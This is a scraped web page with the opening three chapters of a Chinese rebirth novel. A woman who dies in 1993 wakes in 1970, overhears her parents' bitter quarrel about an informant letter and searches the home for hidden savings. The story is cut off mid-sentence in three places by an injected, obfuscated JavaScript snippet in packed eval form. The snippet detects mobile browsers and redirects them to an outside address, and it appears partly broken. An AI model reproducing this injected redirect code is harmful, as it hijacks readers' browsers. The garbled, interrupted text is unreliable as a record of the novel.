《重生回七零,卖惨》
1. 第 1 章
1993年7月19日晚11点深市明湖别墅6栋,灯还亮着。
书房里,展琳穿着真丝睡裙,坐在老板椅上,一边翻看朋友从美国带回来的杂志,一边回顾着几天前在巴黎看的那场时装秀。
她的衣坊,从88年起,就致力于独立设计,累积到今天,在市场上也有了一定的知名度。指腹摩挲着杂志厚实的纸张,她盘算着,是不是时候开一条定制线?
铃铃……
沙发上的大哥大突然响起,打断了展琳的思绪。展琳放下杂志,起身去接电话,只是才走两步,眼前就发黑。她硬撑着来到沙发边,顺势躺下,拿起大哥大。
“喂?”
“是我。”
“你这么晚打电话,有什么事吗?”
“你还记得岑今吗?”
“不记得。”展琳想都没想地回,右手揉压着心口。
“你初一同桌,1970年8月失踪。一周前,卫洋市新华路西的老招待拆迁,拆到了一本账本,经鉴定是岑今失踪前藏在那的。今天上午,祁泓程已经去往潼关山监狱,提讯张力和。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990678|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张力和?展琳有点印象,她深吸气,想压一压快跳的心。
“你父亲在1970年7月,因个人作风问题被抓后,你奶奶是不是卖了一套京市四合院?”电话那头等了几秒,没等到回应,继续道:“现在那套四合院,在卫俊毅的名下。”
大哥大擦着沙发边边,啪一声掉到地上。展琳两手摁着心口,唇颤动着,脸上已不见血色。她想求救,可涣散的意志,难以支撑她翻身去够大哥大。
没一会,地上的大哥大再次响起。
铃铃……铃铃……
2. 第 2 章
1970年7月16日???
展琳满满地不可置信,目光从日历转移到梳妆镜。镜中的人,她再熟悉不过,就是年轻时候的自己。
面部饱满,皮肤嫩白紧致,无论是眼尾还是鼻翼外侧,没有一丁点的纹。唇粉粉的,比带露的玫瑰花还要娇。
天老爷唉,见鬼了!
她在1993年活得美美的,怎么就一下子回到1970年了?她现在是在做梦吗?
不太像,因为……她的膀胱快要炸了。
展琳也不趿拉双拖鞋,光脚夹着两腿到房门边,握上门把,几乎是下意识地放轻动作,打开门。
三更半夜的,家里静悄悄。外屋,有月光自窗户映照进来,四方桌、沙发、茶几、缝纫机等等摆设一目了然。
1970年7月,她还住在,卫洋市南上坊七骨巷6号小洋楼附楼里。虽在这没住几年,但毕竟是曾经的家,布局她还是很清楚的。
猫起腰,展琳踮脚往厕所去。不多会儿,一阵冲水声自厕所传出。主卧里,展国成和洪惠英虽歇下了,但这会儿还没睡着。
听着响儿,洪惠英才叹声气,身旁就来了一冷哼。
“不是绝食吗?哪来的屎尿?”
“你这阴阳怪气的,是在怪我吗?”
洪惠英最是听不得他这调调,坐起身,看向床里背对着她的男人。没开灯,她也看不着什么,很气恼:“我拿鸡蛋糕拿水去琳琳房间,也没避着你,你怎么不拦?”
展国成不语,也不转过身来。
僵持片刻,洪惠英想再说点什么,可张开嘴又不知道说什么,一口气堵在嗓子眼上不去下不来,恨得蹬了展国成一脚,愤愤躺下转过身,也背对他。
电风扇嗡嗡扇着风,室内又恢复了之前的沉闷。
展国成睁着眼,心里像火在燎。他是千没想到万没想到,闺女会跟宁则钊的儿子好上。
宁耘书很优秀,毋庸置疑。15岁,那小子就考上了人民大学,大学还没毕业,就被他的老师推荐进了京市市委学习。后来京市形势越来越紧张,他也非常果断地离开京市,去往黔省基层历练。
如果不是67年年尾那出,展琳能跟宁耘书凑一对,展国成想,他做梦都能笑醒。
可是没有如果。
洪惠英留意着室外,一点动静都没有,知道闺女应该是回房间了。她也不想跟展国成继续怄气,摊平身子。
“真的一点可能都没有吗?”
虽没头没尾,但展国成知道她在问什么,回道:“你说呢?”
洪惠英清楚,就是不死心:“可宁则钊的死,跟你写的那封举报信……”
“够了。”展国成一下转过身坐起。
洪惠英被他斥得一惊。
“你是好日子过够了吗?”展国成压着声音,咬牙切齿:“我说过,不许再提这事。那封举报信,跟我没关系。”也确确实实跟他一点关系都没。
他写的举报信,自己个清楚,全是片面之词,还含糊得很,就是进了市革会,也打击不了宁则钊,至多害宁则钊被关几天。
更何况,直至宁则钊被市革会带走时,他那封举报信都还在他抽屉里压着,他酒醒后压根就忘了那茬了。谁知道市革会收到的那举报信,为什么会跟他写的那封一字不差?
谁他娘又知道,宁则钊会突发疾病,死在了市革会?谁他娘又又知道,宁则钊的媳妇,在得知噩耗后,会受不住一下子厥过去,也走了?
这事说破天去,他也解释不清。他闺女跟宁耘书,有啥可能,不共戴天的可能。
黑暗里,洪惠英精准地捕捉到展国成眼里迸发出的凶狠。她屏着气,放在腹上的手不由得收紧。他对她是越来越不耐烦了。
展琳呆站在主卧门外,一手撑着墙,脚趾死死抠着地面。她不是故意偷听的,只是刚刚在厕所冷静下来,勉勉强强接受了自己回到1970的事儿后,有点想见一见过去的人,听一听熟悉的声音。
可她听到了什么?她的爸妈在说,举报宁伯伯的那封信,是她爸写的?
怎么可能?
三分钟前,她还在心里咒骂宁耘书是小人,还在想着这辈子怎么揭露他的虚伪,怎么拖他后腿,怎么让他忙忙碌碌到退休都只能看别人坐奥迪。
现在却告诉她,宁家那场横祸,是她爸一手造成的。
“我最后再说一次,”屋内,展国成手点着,两眼勒得老大,瞪直了,“你如果还想安安稳稳过现在的好日子,就不许再提什么举报信。我没写过那东西,更没举报过谁。”
洪惠英看展国成的样子,心里也有点犯怵。但叫她附和着点头,她当下也做不到,只紧抿着唇不吭声。
此时此刻,展琳真想敲开门,问她爸为什么?可手抵在门上,她却迟迟没有动作,脑中一片混沌,最终还是拖着两腿,麻木地回自己房间去。
一直以来,她对她爸的了解,就是有点子怕事,很能装。一张国字脸,长得挺周正,搭上一副黑框眼镜,瞧着十分有深度的样子,实则肚里货不多。他能爬到卫洋市电厂副厂长的位置,全靠祖上积德。
轻轻关上房门,展琳背倚着墙,两眼没了光彩。
上辈子,在她爸搞破鞋被抓后,就有传言传过,卫洋市电厂原副厂长兼电厂研究所所长,宁则钊同志,之所以会被市革会带走,是因为厂内部斗争,有人不希望他升厂长。
那些传言,虽然没明说是谁不希望宁则钊升厂长,但也就差点名道姓了。
之后,宁耘书从黔省调到卫洋市农工部,回来也直白地跟她讲过。只是她不信,私以为宁耘书也是个俗人,看她爸倒了,就找借口跟她分割。
她让宁耘书拿出证据,宁耘书拿不出,她就可劲地嘲讽他。
现在好了,一切都分明了,她亲耳听闻。
展琳嗤笑,抬手揉搓了把脸。梳妆台上的鸡蛋糕,散发着甜香,勾得她肚子咕咕叫,但她却一点胃口都没。
这重生于她有什么意义?
让她知道宁家遭殃的真相,让宁耘书把上辈子没打的脸,结结实实打她脸上?
展琳光想想,都觉得窒息。踱步到床边,上床躺平,有些事情既然接受不了,那就拒绝去面对。她又不是没死过,拉灯,将眼闭紧。
上辈子荣华富贵她享受足了,苦也吃得够够。这辈子谁来都别想叫醒她。
只是才几分钟,展琳又睁开眼,眨巴了两下。她隐隐感觉自己好像忽略了些什么,可想又想不着什么。短短时间,受到太多冲击,她现在不止脑子,连心里都是千思万绪,一团浆糊。
主卧里,展国成屈起腿,一手搭在膝盖上:“琳琳跟宁耘书这婚,一定得想法子让他们离了。”
过去的两年多里,他是战战兢兢,怕人提到宁则钊夫妇,怕人提到那封匿名举报信。甚至,他连暗里查一查都不敢,就怕泄露了点什么,让人猜疑,把他跟那封举报信联想到一块。
风平浪静了这么久,他提心吊胆了这么久,没料闺女给他当头来了一棍子。
洪惠英也头疼得很,撑坐起,倚着床头架:“我是真没想到,琳琳之前积极配合区委宣传工作,主动请缨去黔省走访知青生活,是为了见宁耘书。”
“附近这一茬姑娘,有几个没仰慕过宁耘书?”展国成也是从年轻时候过来的,他理解闺女,但这一回实在没办法成全。
确实,就洪惠英知道的都有三位。不过那三位年龄到了后,都乖乖听家里安排,相亲结婚了。
“他们之间差了5岁,过去也没见有什么来往。倒是文斌,在宁耘书没上大学前,常跑去宁家玩。”
“还是怪你,”展国成想起来就悔:“秦老太太那房子,我说已经过户头了,别急着把展琳户口分出去。你说什么?”
又怪她了,洪惠英撇过头去,完全不想搭理。
“你说那片儿住房紧张,盯着秦老太太房子的人不少。非要把展琳户口独立出去,落到那房子下。”
“我就不明白了,住房紧张怎么了?秦老太太留给展琳的房子,是私人所有。大杂院那群麻雀有啥可喳喳的?”
“没有独立户头,她能不通过家里同意,就在黔省跟宁耘书办结婚证?”
“你们街道办做事也不严谨。即便他们是到外省市出差,你们也不能给开那么多空白介绍信。”
提到介绍信,洪惠英有点心虚。她也是今天早上才发现,她放在书房柜子里的空白介绍信少了几张。
“几年前,我就跟你讲,闺女大了,我这个做爹的不好亲近,你这个做妈的一定要多看着。你看着啥了?”展国成越说越气。
“你见过咱们这样的家庭,哪家姑娘像她这样,瞒着父母在外跟人结婚?她的任性妄为,你要承担主要责任。”
“对对对,都怪我都是我的错。你是个好父亲,你伟大。展琳有今天,全是我这个当妈的做的孽。”
展国成:“你在怨我?”
“我怨你什么?我都认错了,我怨你什么?展琳主意大,确实是我纵的。我就一儿一女。儿子跟朱红玫一订婚,你跟朱满义就走关系,给他们分房。房子分到后,你才告诉我,做我的思想工作。”
“他们小两口搬出去住有三年了。朱红玫生清清,连知会都没知会我一声,就叫了她娘家妈去服侍月子。”
“哦,朱满义嘴上说得可好听了,惠英啊,你有工作要忙,不要为了小家耽误工作。说他婆娘没工作,可以全心全力照顾朱红玫月子。”
“他们不就是怕朱红玫生的是个女儿,我会轻视吗?我也有女儿,我是那样重男轻女的人?”
“我提着大包小包,去儿子家看孙女。朱红玫在客厅呢,她妈讲,‘亲家母怎么有空来了,这来就来带什么东西,快进屋坐。’我在我儿子家,像个客人。可凭什么?那是我儿子家。”
“你觉委屈了?”展国成讽刺:“在批判朱红玫前,你是不是应该先进行自我反省?”
似被戳中了肺管子,洪惠英一下炸了:“我反省?我反省了,你娘能把我的孩子还给我吗?他在我肚子里四个多月了,手脚都已经长得齐齐整整。要是好好的,他现在也十二岁了。我至于会把所有的偏爱都给了展琳吗?”
空气骤然冷凝。
展国成腮边鼓动了下,他盯着洪惠英,即便看不清她脸上的神情,也依旧一眼不眨地盯着。
洪惠英梗着脖子,心口起伏剧烈,时间一秒一秒地走,她没有半分势弱。
“一次又一次的,我真的是忍你忍够了。”展国成低喃:“跟我谈流掉了那孩子是吗?好,谈。”
听着这口气,洪惠英不由得皮一紧。
“我就问你,你怀文斌怀展琳的时候,只要有我娘在,你连油壶倒了都不带动弹的,怎么在儿女双全又怀上三胎后,突然懂事儿了?”
“你流产那天,国立送煤来,我娘是不是让你待屋里?我娘跟国立搬煤时,是你自己冷不丁站到我娘身后。四个多月的身孕,被我娘那么拐了一下,你就流产了。”
“展国成,你什么意思?”
“我什么意思?”如果不是6号楼还住着其他几户,展国成早破口大骂了。
“你真不愧是张玉凤的好外甥女,让我娘还你孩子?你有脸说得出口,我都没脸听。张玉凤到底给你灌了什么迷魂汤,让你这么向着她,让你这样作践我娘?”
“展国成,”洪惠英强撑着冷静,眼泪下来了:“你有没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990679|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
良心?不满我姨母,你得好处的时候怎么不说?老爷子在世的时候,你怎么不当他面喊‘张玉凤’?你不要忘了,没有我姨母,你哪来的……”
“没有你姨母,我娘会带着我兄妹三个,住在京市机关大院。你姨母的今天,全是我爹给的。我娘跟我爹青梅竹马,她是我祖父母亲自下聘,我爹明媒正娶的妻子。她是我爹的原配。”
“你说这些有什么用?现在住在京市机关大院的,是我姨母。我姨母跟老爷子,也是经组织同意的。”
“是,你姨母能耐。我娘比起你姨母,就是太要脸太懂顾全了。你姨母张玉凤多伶俐一人,丈夫尸骨未寒,两女儿还躺在医院病床上,她就盯上了我爹。我爹解放前干的什么工作,地下工作。她怎么扒上我爹的?”
“好不容易跟我爹结婚了,她又着急忙慌地怀孩子。”
“我爹在卫洋市遇到我们娘几个。她得了信,挺着大肚子连夜赶到卫洋市,啪地给我娘跪下,话里话外全是我爹的不容易,我们几个孩子的以后。”
“当时那世道,我娘除了退让还有别的选择吗?这一让就让到现在。你跟我谈良心,你跟你的好姨母谈过良心吗?你摸过自己的良心吗?”
脑门上的细汗密密麻麻,洪惠英小臂上的鸡皮疙瘩都起来了,她从没见过展国成这样疾言厉色。
这些话,展国成憋了二十多年了:“她张玉凤为什么在生下展淑萍后,把我弄去京市读两年书?”
“因为展淑萍是个女儿,她没底气。她要笼络住我爹,她要让我娘安安分分待在卫洋市。展国盛出生后,她有了主心骨了,不就把我踹到卫洋市了。”
“你为什么会嫁给我,我为什么会娶你?你我心知肚明。是因为张玉凤需要你嫁给我看着我看着我娘,是因为张玉凤希望我娶你希望我永远识时务。”
“良心,什么良心?全他妈是算计。”
“把我踹到卫洋市还不够,她还将何正红、何正丽也嫁到卫洋市,让我关照着。你说,那两小娘皮子,哪个省心?”
“这些年,她们在我这连吃带拿,对我有过真心实意的感谢吗?拿我名头在外走关系,哪回不是事情办得差不多了,才跟我说?我硬着头皮给她们还了多少人情?”
“洪惠英,真的,我以前很同情你,觉得你不容易。11岁家破人亡,开始寄人篱下。”
“在京市,何正红、何正丽,多大的姑娘了,脏了的贴身小衣都不洗。大冬天的,你十根手指头冻得比地里的胡萝卜还粗,给她们洗得干干净净。展淑萍的尿布,那姐俩洗过一块吗?”
“看到你在何正红、何正丽跟前那谄媚样儿,我都心疼,心疼你没个爹妈。但这些心疼,在你跟我回了卫洋市后,就全没了。”
洪惠英后悔跟展国成吵架了,此刻的他,让她有些瑟缩。
“洪惠英,你我,彼此也算是知根知底。曾经,我是真的想跟你好好过日子,把日子过昌盛,可是你怎么跟我过日子的?”
“你知道吗?每回看到你在我娘跟前,在国立、淑敏跟前,高高在上,我脑子里就不由自主地浮现出,你在张玉凤娘几个那里的奴样。”
7月的天,洪惠英打着战栗,湿透的睡衣紧贴着背后,她想叫展国成住嘴别说了,可对着那双死死盯着她的眼睛,她莫名地不敢。
展国成见洪惠英往后缩,一把抓住她的领口,将她拉近,几乎杵着她的鼻子:“你就是贱骨头。我娘对你那么好,你蹬鼻子上脸,把屎盆子往她脑袋上扣。何正红、何正丽姐妹,叫你声姐,你跟条狗似的,围着她们转。”
“这些年,我睁一只眼闭一只眼跟你过,你他娘就一点不含糊地当我瞎了。自打跟我结婚后,你孝敬了张玉凤多少钱,你自己算过吗?你奉承了何正红、何正丽姐两多少,你心里有数吗?”
“你抱怨朱红玫不尊重你这个婆婆,那你有考虑过人家为什么不尊重你吗?”
“唯一的儿子结婚,你在婚礼上皮笑肉不笑的给谁看?”
“去年十月底,文斌调岗的关键时候,我让你把红军给我的那株人参拿出来走礼。你拿不出来,你说你调理身体给吃了。最后,是朱满义媳妇,回了辽省娘家高价买了一株,给你儿子走的礼。”
“人参的钱,你提过一嘴吗?”
“你要朱红玫怎么尊重你?”
“展琳,你嘴里偏爱的女儿,高中毕业时,正逢下乡政策收紧。你这个新华路街道办主任,手头明明有一个百货大楼销售员的推荐名额,不想着你偏爱的女儿,却给了何正丽去讨好她婆家。”
“我问你展琳怎么办?你说秦老太太在三花果街道有些老关系,人活着不用,哪天走了就用不着了。”
“你她娘说的是人话吗?”
“你是真让我恶心。”
“你控诉够了吗?”洪惠英受不住了:“我跟了你二十多年,给你生了两孩子,操持这个家到现在,没有功劳也有苦劳吧,你说我让你恶心?”
“你跟秦晓芹不干不净十六年,你们不恶心人。”
“秦晓芹温柔小意,伺候得你把她儿子当亲生的一样。时向赢要去电厂上班了吧?展副厂长,你知道外头都怎么传你们吗?我听了不嫌恶心?”
“我跟秦晓芹干不干净,你不一直让人盯着吗?倒是你…”展国成微笑,松开洪惠英的领口:“你什么时候不清白的?”
洪惠英将要出口的话梗在喉间,耳里响起尖锐的爆鸣声。
展国成起身,跨过她下了床,从公文包里掏出烟,抽了一根叼在嘴里,划拉火柴。烟点燃,他狠吸一口,瞥了一眼还僵着不动的洪惠英,转身出屋。
听到关门声,洪惠英一下子软倒,瘫在床上,头闷进薄被里呜呜哭。
3. 第 3 章
卫洋市,是个北方城市,依山傍海,还离京市近,地理位置是十分的好。因为有港口,建国前这里就是工业重区。
建国后,那自不必说,一早上街头巷尾,随处可见穿工服的工人,熙熙攘攘。
南上坊曾经是租界,一溜水的洋楼。西式建筑风格,在平整干净的墙面、清透澄澈的玻璃烘托下,显得格外优雅。不过再是优雅,早饭点上,也烟火气十足。
七骨巷,进进出出人不少。6号楼附楼,洪惠英也早就起床了,这会正照着镜子,用鸡蛋滚脸。
足足滚了半个小时,眼周才不那么肿。她又挖了点点口脂,混着雪花膏,在面部垂坠的地方压一压,再稍微扑扑粉。
厨房里,展国成煮了一把挂面,打两鸡蛋,吃完洗了锅碗,找了昨天带回来的报纸,坐在客厅沙发上看。
五斗柜上的座钟,铛铛七声。
洪惠英出了主卧,拿了自己的饭盒,塞到布包里,眼都不带瞥一下沙发上的人,换鞋出门。门一关上,她秉着的那口气就泄了,抬手捶了两下心口,下楼梯。
主楼一楼,电厂工会邹副会长家属郝春华,系着围裙端着两盘包子往门前四方桌上放,见到人招呼道:“今天这么早?”
“哎,”洪惠英扯唇浅笑:“街道今天要送一批知识青年去车站,我这得早点去安排。”下了楼梯,她走到墙角车棚,从包里掏了自行车钥匙出来。
郝春华正声:“都是为人民服务。”
“为人民服务,我们光荣。”洪惠英立马回。
“你家琳琳出差不是回来了吗,咋几天不见人?”郝春华解了身上的围裙,撵两个孙子去洗手。
洪惠英一顿,然后张口:“现在的孩子,真是不比我们年轻时候。不就去趟黔省,回来又加班加点忙了两天吗,人便累倒了。”
“你这话我不爱听。”郝春华一手撑着椅背一手叉着腰。
“每次妇联组织下乡宣传,我晚上回来,那脚面都肿老高。我这还是在咱城郊,琳琳跑的可是黔省,那多远!不提别的,光来回坐火车,就折腾人。火车上,大小伙子睡觉都得睁着一只眼,更何况她小姑娘家家,敢大意吗?”
“他们这次出差是跟队走,火车上倒没什么事。就是她刚到黔省那会儿,水土不服,上吐下泻又发烧,受了罪。”
郝春华啧啧两声:“人生地不熟的,全得自己扛着”
“不自己扛着,谁还能替她?”洪惠英推车往大门口:“郝大姐,咱先不聊了。”
“行行,你赶紧去忙。”郝春华目送她离开,回头就见死老头子背手从书房出来。
等人走近了,她小声蛐蛐:“张会计家盯展琳盯了几年,盯着个啥?人家悄默声地在外结了婚。洪惠英还给她闺女瞒着呢,可这事情瞒得住吗?前儿个我们厂办妇联就有人在说了,我不信她街道办私下没人谈论。”
邹长功到桌边坐下:“谈论什么?展琳又不是随随便便跟了个男人,就算事先没经过父母,但她确确实实是正经办了结婚证的。现在都婚姻自由,这程序上没差错,外人再怎么讲究也碍不着什么。”
“还真是。”郝春华拉了凳子坐下:“而且那丫头嫁的是宁耘书。宁耘书要才有才要样子有样子,前途是看得着的锦绣,这搁谁家里,都是乘龙快婿。”
拿了个包子,邹长功咬了一口:“至于张家,就算没有宁耘书,展国成也不会把闺女嫁过去。史兰花什么性子?她在百货大楼上班时的气势,你见过,洪惠英也见过。”
郝春华呵呵,压低声音道:“她家张力和在外也不干净,前几天我还听说那小子拦了一个姑娘的工作。人家姑娘是正经的中专财会毕业。”
展琳这一夜迷迷糊糊浑浑噩噩,睡着惊醒,醒了又睡。她几度分不清梦境与现实,就那样昏昏沉沉,直至天大亮,紧锁的眉头才渐渐舒展。
八九点钟,屋外阳光正好,大人几乎都去上班了,几个小子,召集了一群毛孩子在巷子里分队,准备玩打小鬼子的游戏。
“我把我姥爷送我的军号都带来了,我演不了小鬼子。”
“昨天就是我演的鬼子,今天凭啥还让我演鬼子?”
“三土哥,你都当了六天小英雄了,今天怎么也该轮到演鬼子了。”
“我不要,我爹是军人,我怎么能当鬼子?”
“猜丁壳猜丁壳……”
在一阵“杀呀”声中,展琳翻了个身,睁开了眼睛。她醒了有几分钟了,经过一夜的沉淀,脑子还是很钝,现在她唯一的十分清晰的感受就是……
饿!
好饿!
饥肠辘辘饥火烧肠!
抱着肚子,她回顾重生前的种种,自己算是猝死吧?
从巴黎看完秀回国,公司、衣坊积压了很多事,她又正好时差紊乱入睡难,就没怎么顾着身体,只想着尽快将积压的工作都处理完。
然后工作是处理完了,她人也跟着完了。
展琳生无可恋,这两眼一闭一睁,咻的一下子回到解放前了。不,现实是,比回到解放前更惨,惨的她都想把眼睛再闭上。
1993年——1970年,中间是8000多天,很多记忆早就都模糊了。
1970年的上半年,她已经没什么印象,只依稀记得天热起来的时候,在黔省下乡的陈诗情给她寄来一封信。
信里提到,宁耘书很得黔省一位领导看重。那领导将自己的爱女调到宁耘书手底下,让宁耘书带带。
当时,她在得知宁耘书身边可能有了合适的对象后,很矛盾,一边祝福,一边又满脑子都是宁耘书。
也是巧了,没多久,她就被借调到知青办。因为号召知识青年下乡建设农村的工作不理想,市委宣传科组织各街道各厂办,报道、宣传知青走进乡村的积极事迹。
她所在的区,区委有同志提出同知青一起下乡走访,了解真实的向上的知青生活。正好,那几天有一批知青要去黔省,她便立马报了名。
她都想好了,黔省之行,就是她跟自己青涩青春的道别之行,能见着宁耘书最好,见不到,那就见不到。等从黔省回来,她就接受家里安排,开始相亲。
奔赴千里,她很幸运,见到了宁耘书,还大着胆子,昂首挺胸地跟他告白了。只是叫她万万没料到的是,宁耘书接受了她的告白,并且主动提出……结婚。
展琳眨了眨眼睛,她想起自己忽略啥了,一拗坐起,手刚覆上小腹,就听到外头有人在喊,“小展小展展琳在家吗?”
“兰花婶,你这急匆匆的找展琳做啥?”二楼东边户,电厂研究所高副所长家儿媳朱晓荷推开窗,问闯进院子里的妇女。
“哎呦,我能不急吗?咱展厂长在倒八门9号院秦晓芹家搞破鞋,被人给摁住了。”
“啥?这才九点多,咱展厂长一大早就过去倒八门了?”
接连两三道声追问:“跟谁,秦晓芹吗?”
“在秦晓芹家还能跟谁?两人光不出溜的,被革委会的人堵在炕上了。”
展琳知道来找她的人是谁了,看向日历,7月16号。不对呀,她爸被抓应该是7月20号。她下床,穿上拖鞋来到客厅。
好吧,客厅的日历是7月20号。
大门被拍得啪啪响,展琳没有理会。史兰花,电厂财务科科长张德润的妻子。这人最是会捧高踩低,在她爸没出事前,她可是史兰花心中的准儿媳。
“展琳在家吗?你爹搞破鞋被抓了,你赶紧去找你妈。”史兰花大力拍着门,扯着嗓子嚷。
她爹被抓,她能怎么着?都经历过一次了,展琳接受良好,转身回房间,拿了一块鸡蛋糕先咬一口,拎暖水瓶给自己倒杯热水。
上辈子史兰花仅仅用了半天,就将展国成搞破鞋的丑事,宣扬得整个城区都知道。这辈子她也不打算阻止。
没人应,门外的人没坚持多久便走了。
就着水,展琳一连吃了三块鸡蛋糕,才停了下来。人是铁饭是钢,这话一点不假。肚子饱了,她头也不重了腿也不发软了,也有精神活动活动了。
窗下书桌,桌面上一排书,每本她都有点眼熟。一本一本快速翻过,找着几张票,还有十二块六毛钱。几本笔记本里,没夹啥。桌子抽屉里,不是笔就是剪裁下来的报纸。
梳妆台两边的柜子,左边装的都是零嘴,两袋没开封口的大白兔奶糖,半袋水果硬糖,还有果干、麻花、桃酥、红虾酥、瓜子。右边柜里,满满一柜子的毛线。
拉开三开门衣橱,上层塞了两床新被子,中下层都是衣服。目光顿在角落里的皮包,她的记忆一点一点苏醒。
这只皮包是她参加工作时,她嫂子请朋友从沪市带回来的。她很喜欢,平时都舍不得用。
展琳拿了包来到梳妆台边坐下,将包里的东西一一取出,笔记、钢笔、伟人语录、票本、工作证、九颗大白兔奶糖、零钱包、户口本,还有……结婚证。
结婚证很新鲜,她两手抱着小腹,盯着结婚证上的两个名字,心里滋味难言。
沉静很久,展琳笑了,重生回来,也挺好的。又坐了一会儿,她迟钝的脑子慢慢恢复机敏,去床边掀起枕头拿了手表戴上。
其实上辈子,在她爸被抓后,有件事她始终都想不通也算不明白,就是她家的存款。
他们家不是普通的工人家庭。她爸展国成,没拖家带口离开京市前,给她爷爷开了两年车,1951年进入卫洋市电厂工作,兼职给厂里开开车,拿的补贴比工资还高,1960年不算补贴,每月工资就上了70块,66年底升了副厂长。
她妈洪惠英,一直在街道办。街道办那个地方,明面上工资不高,但私底下可以拿的油水还是有点的。
尤其是65年她妈被调到新华路街道办做主任后,那要经手的就更多了,住房、工作名额、知青下乡等等。
家里的花销,都看得见。她爸妈就生了她跟她哥两个孩子。她哥读书时是个好学生,娶的嫂子娘家条件也没得挑,不需要她家拉扯。
她规规矩矩68年参加工作,虽然没往家里交钱,但也没从家里拿钱。
可在她爸出事后,他们家折子上的钱还没有1500块。展琳蹙着一双好看的长眉,这个事横亘在她心里很多年。
因为上辈子,她爸的事并不止于搞破鞋,还有个大窟窿在后。
为了填那个大窟窿,奶奶苏月圆女士把棺材本都拿了出来,还贴上了爷爷留给她的京市四合院。
为了帮着筹钱,她二叔家展珂偷偷卖了铁路局的工作,报名下了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990680|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乡,差点死在川山里。最后人虽然被救回来了,但却瘸了一条腿。
展琳出了房间,去主卧。主卧里很整洁,床铺上的薄被被折成四方块,压在枕头下。枕上有斑痕,她不想去想是谁流的口水还是谁流的眼泪。
她现在只想知道,她家现在有多少钱。
目标明确的开始搜,抽屉、抽屉下的夹层,衣服领子、口袋、袖子、里子,柜子顶、柜子底、柜子后,床柱子、床板,枕头、枕芯……不放过任何可以藏钱的地方。
一通翻找后,展琳合计了下,家里折子上是1460块,现金有467块八毛,其中大团结37张。
将主卧恢复得大差不离,她又去书房。书房原是她哥的房间,朝北,十三四平。
她爸喜欢在书里夹东西,她一本一本书地找,就找着六十三块三毛和十一张零碎票,大部分票都过期了。
书架下面柜子里,十一瓶茅台,其中4瓶是特供。6条半烟中,两条中华,一条有滤嘴一条没滤嘴,三条半大前门、一条子牡丹。
搬椅子,站上去,查看书柜顶。柜顶铺了几层旧报纸,报纸上积了很厚的灰。
展琳小心翼翼地捏起报纸,报纸下啥也没有,轻轻敲敲木板,实木的。她又小心地放下报纸,正打算下椅子,却瞟到靠墙角的那报纸角好像是黏在一起的,心头不免一动。
把报纸转了个边,她一指撑起上层的一张,什么也没有,再撑起一张,有几个小孩玩的摔纸包,折得挺马虎。
展琳将摔纸包拿出来,都是用小学课本折的。她拆开一个,没有藏东西,再拆开一个,呵……纸里夹着一张存单,600元整,展国成的。
她就知道,她家不可能只有那么点家底儿。
她继续拆,没有,接着拆,还是没有。最后一个纸包里,藏着张大的,1000元整,也是展国成的存单。
展琳将这两张存单折好,放到口袋里,下了椅子,捡起地上的几张纸,夹到书里。
上辈子,她爸出事后,直到电厂开始查账,她家上下就没人见到过她爸。等能探视时,他们家里已经被红小兵光顾过了,而且探视期间边上都有革委会的人看着。
拿了手电筒,照一照书柜后的空隙。展琳眼尖,发现挨着墙角的柜子角边还有两个纸面包,就是比较难扒拉。
不过不怕,她有办法,去自己房间取了她哥珍藏的那根木棍,长度刚好,三两下便给那两个纸面包掏出来了。飞快地拆开,可惜,啥也没有。
不气馁,她还有很多地方没搜,把棍子放回她房间,顺便去趟厕所。
书房,写字台上摆着一铁盒奶油饼干,这东西家里就她妈爱吃,她饿了也会馋两口,她爸是一点不碰。
展琳打开盒子,盒子里的饼干只少了几块。她拿了一块塞进嘴里,奶香味很浓,就是太甜了,有点腻人。手指戳戳饼干底的垫纸,触感很明显,垫纸下是饼干,但她还是想瞅一眼。
将上层的饼干摆放到桌上,揭开垫纸。展琳看着纸下的东西,嘴角抿直。四分之三饼干,四分之一的地儿摞着一小捆一小捆的大团结。
这应该是她妈,洪惠英女士藏的。
展琳没动钱,把饼干又放回盒子里,盖上盖子。抽屉锁着,她伸手向笔筒,抓出笔,倒出笔筒底的小钥匙。
抽屉打开,里面放着粮本、票本、户口本、一盒子别针,她爸的印章,还有一些作废的文件和十来张电厂开的空白介绍信,没有钱。
柜子也锁着,小锁还是新的。上辈子20岁的展琳不会开,但这辈子她会。从抽屉里拿了一根别针,拉直了,也就三四分钟,锁开了。
柜子里东西不少,三罐奶粉两个水果罐头五个肉罐头,一块八成新的劳力士女士手表,一张自行车票一张缝纫机票一张收音机票一张手表票,这几张票不知道为谁存的,反正她上辈子没见过。
